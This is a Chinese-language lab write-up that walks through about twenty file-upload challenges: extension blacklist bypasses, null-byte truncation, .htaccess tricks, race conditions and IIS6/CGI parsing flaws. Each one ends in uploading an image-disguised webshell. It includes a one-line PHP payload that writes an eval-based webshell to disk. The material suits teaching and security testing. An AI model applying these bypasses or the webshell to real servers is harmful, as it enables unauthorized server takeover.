文章目录
文件解析漏洞
黑名单绕过
第一题:
我们查看源代码,发现不准上传 .jpg .png .gif后缀名的文件
于是,我们制作一个图片木马
制作成功
我们利用burp的抓包工具,去获取数据包
修改上传文件的后缀名为.php
发现文件上传成功
进入图片链接,发现果然是一个php码
利用菜刀进入成功进入后台
第二题:
同样是是上传文件,但是前端检测点不同
我们同样制作图片码,利用burp抓包,修改文件后缀名为php,一样能拿下服务器
第三题:
我们查看图片源代码
我们发现他们把以.asp .aspx .php .jsp尾缀结尾的,全部都禁止了
我们可以利用其他的文件后缀名,后台数据库同样可以解析文件
于是我们同样上传文件,同样利用burp来抓包,修改后缀名
拿下服务器
第四题:
我们发现这个源代码,啪啪的一大段代码,几乎隔绝了大部分的敏感文件的后缀名
我们利用cmd修改文件后缀名
ren 1.txt .htaccess
然后上传去
发现
显然上传成功,然后发现上传我们的图片木马
利用菜到拿下服务器
第五题:
发现他隔绝了很多文件的后缀名,同时关闭了.htaccess
于是我们利用文件后缀名的大小写
图片码上传成功
拿下服务器
查看源代码
发现他把所有文件的大小写都强制转化为小写
各种方式都试过了,我们尝试改文件后缀名,在后缀名后面加一个空格
图片码上传成功,拿下服务器
第七题:
我们同样去抓包,然后发现它又几乎把很多东西都隔绝了,我们尝试输入.php.来绕过
成功绕过,拿下服务器
第八题
几乎阻止了大部分的上传的漏洞,但是却没有防止::$DATA
于是,我们照样上传文件
拿下服务器
第九题:
查看源代码
发现它是隔绝了大多的上传漏洞,但是我们发现它是有一个逻辑漏洞,那就是它只检测了一遍。
于是我们自己构造文件的后缀,主动让它来检测,并删除多余的尾缀
看到它首先第一个删除文件末尾的点,再删除文件末尾的空格
.php. .
删除完过后就是.php.
正则匹配发现,并没有隔离php.文件后缀名,文件同样可以上传成功
文件上传成功拿下服务器
第十题:
我们查看源代码,发现它自动把所有php等等文件后缀的敏感字母给替换成空
于是,我们构造双尾缀
把后缀名换成 .pphphp
等系统自动删除php过后就会剩下.php
上传文件,果然上传成功
下面就是白名单绕过了
第十一题:
我们首先在看源代码
发现它只有当if()>0,它才执行上传文件,于是我们利用%00截断绕过
把文件后缀名修改成666.php%00.jpg
而**%00是一个URL编码,它会被转化成0x00**,这是16进制的表示ascii码值为0,有些函数在处理这个字符的时候会把这个字符当做结束符,他们就读取到这里认为这一段结束了。
下面我们进行文件上传
图片码上传成功
我们访问图片地址,发现它真的单纯是一个图片,并不是php文件
原因是它把我们传上去的图片进行了重命名,导致我们上传的改文件后缀名的方式失效了
所以,我们无法对上传的文件名,进行操作,于是,我们继续抓包,看看能否在保存路径的时候进行操作
发现这边有一个保存路径可以操作
于是,我们修改保存路径尝试利用保存的路径中利用%00来终止文件的识别
发现文件上传失败
同时它报错了,我们发现报错后面存在一个重命名的文件,我发现是我少打了一个%,于是继续上传
上传成功
拿下服务器
第十二题:
同样是00截断,我们把同样抓取一个数据包,先上传图片码
我们发现,它这是POST传参的保存,那么它肯定是不能识别URL栏的%00的
于是,我们直接修改它的HEX值
然后在HEX那边修改
修改成00
图片码上传成功,打开图片地址
拿下服务器
第十三题:——第十五题:
直接上传图片码就行了,下载过后,图片码不会被消失,依然在
第十六题:
二次渲染,就是图片上传后,会进行渲染,导致我们本来上传的图片码,被篡改,失效,但是gif文件因为是动态文件,他被渲染的时候,第一部分是不会被修改的,但是第二部分会被修改。于是,我们制作gif的图片码。
第十七题:
条件竞争
因为数据库删除文件是需要时间的,所以我们一直去访问就可以在被删除之前访问到,访问到就回执行我们文件里的代码
<?php $a = '<?php @eval($_REQUEST[\'a\'])?>';file_put_contents('1.php',$a)?>
我们利用
burp跑包,两个线程,一个疯狂上传,一个疯狂访问。
我首先先抓一个上传图片码的包,并传到Intruder模块、
接着,我再上传一张正常图片,找到保存的地址
修改地址,访问666.php的文件
再抓包,传到Intruder
开始爆破
第十九题:
move_uploaded_file()截断
move_uploaded_file()函数是将文件移动到一个新的位置
我首先上传一个图片码
发现他会重命名,并且移动文件,那他肯定会用到这个函数,于是我们修改hex的值进行截断
第二十题:
IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll
我们制作好asp的一句话木马,然后利用burp抓包
修改文件后缀名,拿下服务器
第二十一题:
IIS6.0会识别 ; 的截断符直接上传文件,我们把文件后缀名改成。asp;.jpg就可以实现文件上传成功。
但是注意,这个和00截断是不同的,如果我们访问555.asp是访问不到的
必须得访问555.asp;.jpg才能访问到
第二十二题:
asp/123.jpg 他将当做asp进行解析
和第二十二题一样,我们需要上传.asp/.jpg
第二十三题:
CGI解析漏洞
所以说我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析